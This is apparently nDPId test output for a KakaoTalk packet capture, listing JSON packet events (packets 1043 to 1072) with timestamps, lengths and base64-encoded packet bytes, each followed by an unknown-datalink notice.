+00529{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1043,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069185,"pkt_ts_usec":320777,"pkt_caplen":167,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":167,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAJcAAEAAQBHaCwoYUrwByQGuKBxaBgCDA+6AbDInfqx+w1SapdrgstEqMMvJ1jRfjIftyEkrVRZCnW0wilAnhIWnwGHAVCHKyqvUru77Z5IkAmhCIt67HqC33C5Y5G4bwb\/Y9KTUd5UzJ5Nema1CH+kIf79fq3TdkTaMpuqsonp8BaF8GtpuOoQCgTctjgotYsZ0rko="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1043,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00596{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1044,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069185,"pkt_ts_usec":331366,"pkt_caplen":214,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":214,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAMYAAEAAHRH8tAHJAa4KGFK8WgQsOACyjLiAbDIjfqxvw1SapdoVuyZgo0keVm2F4ewXtuEyGKLgD0r\/XemmcSRUb3ZXNuQq\/IksCx43b5ESdANj90eXoAQyOfxiLE9eYskLnqlPcQ+prDXof9sh956z7NMVn47QpXGsyKdmSd4RbYkqJOdkxPnwGymRWD9S+Zjb8U9lBflBvXAhf6pIljVrMSGoz3hYU2lNtJIqDWMLTFoi5DsMpSS1B4y4LB\/WD\/boEg=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1044,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00606{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1045,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069185,"pkt_ts_usec":391577,"pkt_caplen":225,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":225,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoANEAAEAAHBH9qQHJAa4KGFK8WgYoHAC9jGSAbE+diz0OGguGVRmB6eVFB4+VQAAoQxCwzraZ7rJES2l9grSoJHkt\/DHDoqAXCa+HupiLUQ7g9Wf9iethW89vMfZbp6u9Th28rxOvnnx2KdWBFmCX5cQS9Cff\/cpTJKpAckMxbiZjE1qzB5pXKCfrhKgSjqn+d38ZoKLsfD1N54pXIrIExjEsHScTAHDjPZuv6fYRaQ+0D6fkbshOPwF50DTmpXOCeu89Ya5D41SNz2hxxhvv"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1045,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00499{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1046,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069185,"pkt_ts_usec":403968,"pkt_caplen":142,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":142,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAH4AAEAAQBHaJAoYUrwByQGuKB1aBwBq+euByAAMVJql2vzdEHtzVkuLwbh85caR8kjCcDaL3PS\/PCBmHKFhUSVDzj8AsEmUKMXA4RVxQRjLhRRrd\/\/nqFxlHC1t4TMWO5IABN8HcsyrvgJSoh6AAAAFwPG5g0w8m5sYNA=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1046,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00552{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1047,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069185,"pkt_ts_usec":404517,"pkt_caplen":181,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":181,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAKUAAEAAQBHZ\/QoYUrwByQGuKBxaBgCRv7CAbDIofqyCg1SapdoDmzQukvOdzh9a4uGrvdwVTc\/PTnrfh1bYDTAf5zEALBg+RumQ+7JcOpFbi3uH3bBwo8xdlbMriNlLsSQV\/ccI91yIqTcxR8FKnJoAEdjr6wlG3mD83sGP562a3epD4lNVinIaouoAn+rRCwbuPSDU1rRrdM0qxl4vQ\/rQbw=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1047,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00521{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1048,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069185,"pkt_ts_usec":417456,"pkt_caplen":158,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":158,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAI4AAEAAPxHbFAoYUrwByQGuLDhaBAB6+\/OAbE+iiz0g2guGVRliImPXG\/bIdgMOzZSRTxVEmvrOVPutpL\/GoHCGy0e38tDyUdN3qYzCvyQjFSJHsExYo7h9Nxez+dct9bQMDKtv3zvqLC3I1Kexb\/m7XJaFa9\/Pvh51aYJngyvf+eyfUEEFExciUms="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1048,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00502{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1049,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069185,"pkt_ts_usec":418647,"pkt_caplen":145,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":145,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAIEAAEAAPxHbIQoYUrwByQGuLDhaBABtTl2AbE+jiz0kmguGVRmNstBwG7Gjfec9\/rmm\/eWJBgLxuVhdiXTQ9CrijPh4XAvHSmVuW7F+CPG33kVjX8tewq+WdfLlkIzmWw93AW1lWRcu7EhW55Zy88DPaGrD9m70DOqsqqVAhw=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1049,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00591{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1050,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069185,"pkt_ts_usec":452857,"pkt_caplen":213,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":213,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAMUAAEAAHBH9tQHJAa4KGFK8WgYoHACxGeOAbE+eiz0R2guGVRlF9XDdD+gErz1WLWUbpCuDbqlW3A5NtDwopRPIVnneq97g0hZmgxe83YYoCjHDf98xkm4hN8Z6TEez\/cd42b7vd9h2v4JsLS6dbORLn4JspGGhDytXLlfzTITZVA2zjzIHpZV33CUu2XXcUTlv0Bc\/3On76wu5T4pCA9D45V04qEBiLCiFrQaXJvKclu\/HjQZ8gMXF6NNsrj8QGvtz"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1050,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00575{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1051,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069185,"pkt_ts_usec":487067,"pkt_caplen":199,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":199,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAALcAAEAAQBHZ6woYUrwByQGuKBxaBgCjNo2AbDIpfqyGQ1SapdqBt6hq0ZH3ZxpY7Nl6Mjufe2Z5wCDsU6zedQGlcH3h7SYZEsSjOD7x4nrn0sPNbPhQ9GLQaqCsBGyIz7+kAQdJnl2oHxcgnrmPGvqN6JdZPunh1drPQRJRrBBBq74LDsAFJ\/hb4\/vRqzPXTAqJ\/IQWERqYuhauNmajJN+eDx4sdTR8RDBE5vpJiJvV2rfWNw=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1051,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00556{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1052,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069185,"pkt_ts_usec":492713,"pkt_caplen":188,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":188,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAKwAAEAAHRH8zgHJAa4KGFK8WgQsOACYaiKAbDIkfqxzg1SapdqA7TDJuBZNpQUyhMnO8vxfuotheEfRGNF79Orfm3x3jhxexYQWxnhgGEm5mtfQQ3BtM5Prv8NAluTi2YRfuzRcP9OOOYMWj4uEma757Wggw5lr8Bawfgc1U9Y4HM24MmTXySkZ2vJMqNUTmQhTlMhcJ+mH6+lt1vcKSPFXWokbP51zOBs="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1052,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00496{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1053,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069185,"pkt_ts_usec":513983,"pkt_caplen":144,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":144,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAIAAAEAAPxHbIgoYUrwByQGuLDhaBABsTUSAbE+kiz0oWguGVRmGB29YbNIMk7LLC6JhgkJkWDt5XGcM4Z0vi4G+WrHMsqqSnw0qgR9nyethns6G4REKivqdtV7WAVUtYrcYSLqO96k5sKAS4iXU04jUronv67wmWJX1Gt+B"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1053,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00568{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1054,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069185,"pkt_ts_usec":519416,"pkt_caplen":193,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":193,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoALEAAEAAHBH9yQHJAa4KGFK8WgYoHACdtCyAbE+fiz0VmguGVRnMK9f8J\/IFR6jNJfWkUjGU7c8yOPw8ZS35\/3yOtohjU2vNceH77mrVbIHgHDjbwmqdaon9\/3WYtl6XIvXwAKc5DdbDI5Bo04SGYXxdSaTFSoG2ykm+pu13\/FxLbL2motIA+hHekT+35h18tUEPNyhC1nKmJ0EoDKmNw0TMLsYOZfGWkkfQ2Hfwtg=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1054,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00606{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1055,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069185,"pkt_ts_usec":527625,"pkt_caplen":224,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":224,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAANAAAEAAQBHZ0goYUrwByQGuKBxaBgC8zcOAbDIqfqyKA1SapdpQtEc+hdglF3JQTTBBhwA0T0O9ABdgOWHVjc6tBStCBz3gBnQsFTkBlimx2x6izSQM1NRPiBV+9d5IKBGQmdCfZYonmVJpOETEvEMcjRcHvyhwNLTZfWziObh1T\/2pxiHzTlvvp8ScC1LAs9uCRnITgrmWIXC6qh95Uehwu94QGwB6wRA2aUwlteJhv\/uUprs2ZcDOEAGinw17DjTG0yrCJhs8Uh09798="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1055,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00558{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1056,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069185,"pkt_ts_usec":559455,"pkt_caplen":185,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":185,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAKkAAEAAHRH80QHJAa4KGFK8WgQsOACVqaKAbDIlfqx3Q1SapdrvBQU\/jkmiebR3VnVnl\/6eFvUqHM\/1qEM\/S5LvLKGU9BRJUJTqYy8POmPsPsNKzTTSLeBxRSA+WoKLd6rhSfB3mjMRWNBvWJNHD0mxFhJH2O9+mdSBmmzqrWQDhGw\/CPhlpjza2FH4e7lEz2OHLcnMWWG6xzAYMdMuiy\/Ktnt7zvw="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1056,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00613{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1057,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069185,"pkt_ts_usec":582251,"pkt_caplen":229,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":229,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAANUAAEAAQBHZzQoYUrwByQGuKBxaBgDB8RKAbDIrfqyNw1SapdoXlPd6KrXNOAapJZF+WY+wkr+kd86ir6bh7Y9QU9wsPvAQ+LiUeGUTvhs2Xz4KHWMZNs6zwPSbJrevz3K6CEh7g+mYJUGWvzaPP+ylSO78MlFmJarYQh4KpsTpO5eS0KQOSAQEizwkqZbP9DtImB8j7vXqY21aN2y37EqZgGIS7lJlGgeGJh6pwybvjGhdfSD0lIgwNadjJSRO\/QlLIbzZbfTF+C+FlDVA0wQ0WA=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1057,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00546{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1058,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069185,"pkt_ts_usec":593116,"pkt_caplen":178,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":178,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAKIAAEAAHRH82AHJAa4KGFK8WgQsOACO\/aqAbDImfqx7A1Sapdof6FxH2gZsFJKP1RIhI8hhgWLTU0QmBdZdxYGqq9+YnCME4i4bKx4sdwJUzEX2mf3xS\/Oa68rBSseBWQ5+Nq+Hok6HB9E2mhuLPc4iR+G9BBm8p+uo0Ro684BZjjL3Wzj8z5Y7Zli74lCJdWYlo6nPsStP6irtvxZKmw=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1058,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00497{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1059,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069185,"pkt_ts_usec":613349,"pkt_caplen":142,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":142,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAH4AAEAAPxHbJAoYUrwByQGuLDlaBQBqPD2ByAAMC4ZVGcUjApy2sue2tvDaN2KXPaYSbTfXaSG+ITJBdxGS4Z7v96DyWGv1vboRBsIe1PTM7lRMYuB6d0wicOv2m8voT\/jI4qNuL+yAlVSZpvyAAAAFsvRi3qH3s9CHuQ=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1059,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00497{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1060,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069185,"pkt_ts_usec":613593,"pkt_caplen":144,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":144,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAIAAAEAAPxHbIgoYUrwByQGuLDhaBABsA4eAbE+liz0sGguGVRknvlAHd3LsnZl0OGErNWFIO3Tw4oBxwAZTuEwdzkNLaT\/pCaQ5XArw1Rxsdvca+NaaHLQ+EPfavF4Ax1XbpjwILYJkpLaYu8SPdtDSdcikhKblLe4ICDoa"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1060,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00501{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1061,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069185,"pkt_ts_usec":619635,"pkt_caplen":147,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":147,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAIMAAEAAPxHbHwoYUrwByQGuLDhaBABvp9qAbE+miz0v2guGVRkwUkAi8tSMQ4XUGmGF0qjEqlTmAE83Ua3dnIIaCmBjLiub8hCqC\/DmmcJ1vwRrhFlDGU7gV17lPHX7HX7fShgav6C4D8tLMLwfVQrwQy1cjsVU2351sb5ulAR3"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1061,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00554{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1062,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069185,"pkt_ts_usec":619879,"pkt_caplen":185,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":185,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAKkAAEAAHBH90QHJAa4KGFK8WgYoHACVkT6AbE+giz0ZWguGVRnsvJFYyIYZsnktZIa+FitK9v0GPgDBXNVFLEmYS8iJWIMTAwrmRMyCv1aKTb3GqiCfnYirWee1uMSCuG7UZ9DCRkQKlvGsHQD+bG1KB7OgENs0VYoQNCH1YQWysluuBHQ7YjGVB6Xg\/pz9vhII1gTT1QaPkAwTYjjdyR3JPXG\/Qbg="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1062,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00535{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1063,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069185,"pkt_ts_usec":627692,"pkt_caplen":169,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":169,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAJkAAEAAQBHaCQoYUrwByQGuKBxaBgCF\/C+AbDIsfqyRg1Sapdp3HdP0PmaFqIchJ79K0WcHDnmA5UUJLHk+EuzsrOWHiJuk32Le\/XkT7IG17byfvM4PbHfrXO\/M3wHtxRG6YJjVV1sqVahu9eTRes2PJh5ISgXKKYkooliIyaCwa4H5THgklovfdxMMCTuctsCADDce1Q=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1063,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00560{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1064,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069185,"pkt_ts_usec":643592,"pkt_caplen":188,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":188,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAKwAAEAAHBH9zgHJAa4KGFK8WgYoHACYqnOAbE+hiz0dGguGVRl2gIDtHP\/l8+KGzCCiIo6Zl50qHVo0UUrN5M7VLsfLylv6zdwDuH09r3WSlB\/kx2fNP5fL8zWPfYYn7r6OLb+f6UiYKZFYxTofswb0ITaQ8csZT9Kq\/KjgNPaYd288QzPXBhoSE80P9EW\/gfmfCeZ82lydamwrjEeQW3S4CrpVq7PYsNY="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1064,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00530{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1065,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069185,"pkt_ts_usec":651953,"pkt_caplen":167,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":167,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAJcAAEAAHRH84wHJAa4KGFK8WgQsOACD\/9OAbDInfqx+w1SapdrgstEqMMvJ1jRfjIftyEkrVRZCnW0wilAnhIWnwGHAVCHKyqvUru77Z5IkAmhCIt67HqC33C5Y5G4bwb\/Y9KTUd5UzJ5Nema1CH+kIf79fq3TdkTaMpuqsonp8BaF8GtpuOoQCgTctjgotYsZ0rko="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1065,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00500{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1066,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069185,"pkt_ts_usec":668830,"pkt_caplen":142,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":142,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAH4AAEAAHBH9\/AHJAa4KGFK8WgUsOQBq9dGByAAMVJql2vzdEHtzVkuLwbh85caR8kjCcDaL3PS\/PCBmHKFhUSVDzj8AsEmUKMXA4RVxQRjLhRRrd\/\/nqFxlHC1t4TMWO5IABN8HcsyrvgJSoh6AAAAFwPG5g0w8m5sYNA=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1066,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00551{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1067,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069185,"pkt_ts_usec":669409,"pkt_caplen":181,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":181,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAKUAAEAAHRH81QHJAa4KGFK8WgQsOACRu5aAbDIofqyCg1SapdoDmzQukvOdzh9a4uGrvdwVTc\/PTnrfh1bYDTAf5zEALBg+RumQ+7JcOpFbi3uH3bBwo8xdlbMriNlLsSQV\/ccI91yIqTcxR8FKnJoAEdjr6wlG3mD83sGP562a3epD4lNVinIaouoAn+rRCwbuPSDU1rRrdM0qxl4vQ\/rQbw=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1067,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00520{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1068,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069185,"pkt_ts_usec":671820,"pkt_caplen":158,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":158,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAI4AAEAAHBH97AHJAa4KGFK8WgYoHAB6AA6AbE+iiz0g2guGVRliImPXG\/bIdgMOzZSRTxVEmvrOVPutpL\/GoHCGy0e38tDyUdN3qYzCvyQjFSJHsExYo7h9Nxez+dct9bQMDKtv3zvqLC3I1Kexb\/m7XJaFa9\/Pvh51aYJngyvf+eyfUEEFExciUms="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1068,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00502{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1069,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069185,"pkt_ts_usec":692237,"pkt_caplen":145,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":145,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAIEAAEAAHBH9+QHJAa4KGFK8WgYoHABtUneAbE+jiz0kmguGVRmNstBwG7Gjfec9\/rmm\/eWJBgLxuVhdiXTQ9CrijPh4XAvHSmVuW7F+CPG33kVjX8tewq+WdfLlkIzmWw93AW1lWRcu7EhW55Zy88DPaGrD9m70DOqsqqVAhw=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1069,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00575{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1070,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069185,"pkt_ts_usec":699439,"pkt_caplen":199,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":199,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoALcAAEAAHRH8wwHJAa4KGFK8WgQsOACjMnOAbDIpfqyGQ1SapdqBt6hq0ZH3ZxpY7Nl6Mjufe2Z5wCDsU6zedQGlcH3h7SYZEsSjOD7x4nrn0sPNbPhQ9GLQaqCsBGyIz7+kAQdJnl2oHxcgnrmPGvqN6JdZPunh1drPQRJRrBBBq74LDsAFJ\/hb4\/vRqzPXTAqJ\/IQWERqYuhauNmajJN+eDx4sdTR8RDBE5vpJiJvV2rfWNw=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1070,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00553{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1071,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069185,"pkt_ts_usec":705878,"pkt_caplen":184,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":184,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAKgAAEAAQBHZ+goYUrwByQGuKBxaBgCUJ4aAbDItfqyVQ1SapdpAZySb0uAL\/lSSxxeThz2TyVYHBilqNZyInuPM+3mw9rnlgAx0B0PobstYfJI14Rv2hbSzudsh76JDQ1WrSGmPZYFzcTG9uvlEl7EWRqkvZgzKLJKMau+vAhI7RfB9clq5uhSu03PtlVmdNDmxiaSQnN5+A0dB55SNA9DN8M16NQ=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1071,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00512{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1072,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069185,"pkt_ts_usec":715064,"pkt_caplen":151,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":151,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAIcAAEAAPxHbGwoYUrwByQGuLDhaBABz41uAbE+niz0zmguGVRliY2qOrgt2uz2Eu\/s8vO9DP8qRZQSK8c7b8aL5ZCDgenFaaTh9Xv8pknolRwT5lLa8vzjeXDeDAAzSENluzdKRU\/9mTmmeqB+XU1nwilJN\/K5Yw6Gqk5gRZHwO0\/xWDQ=="} 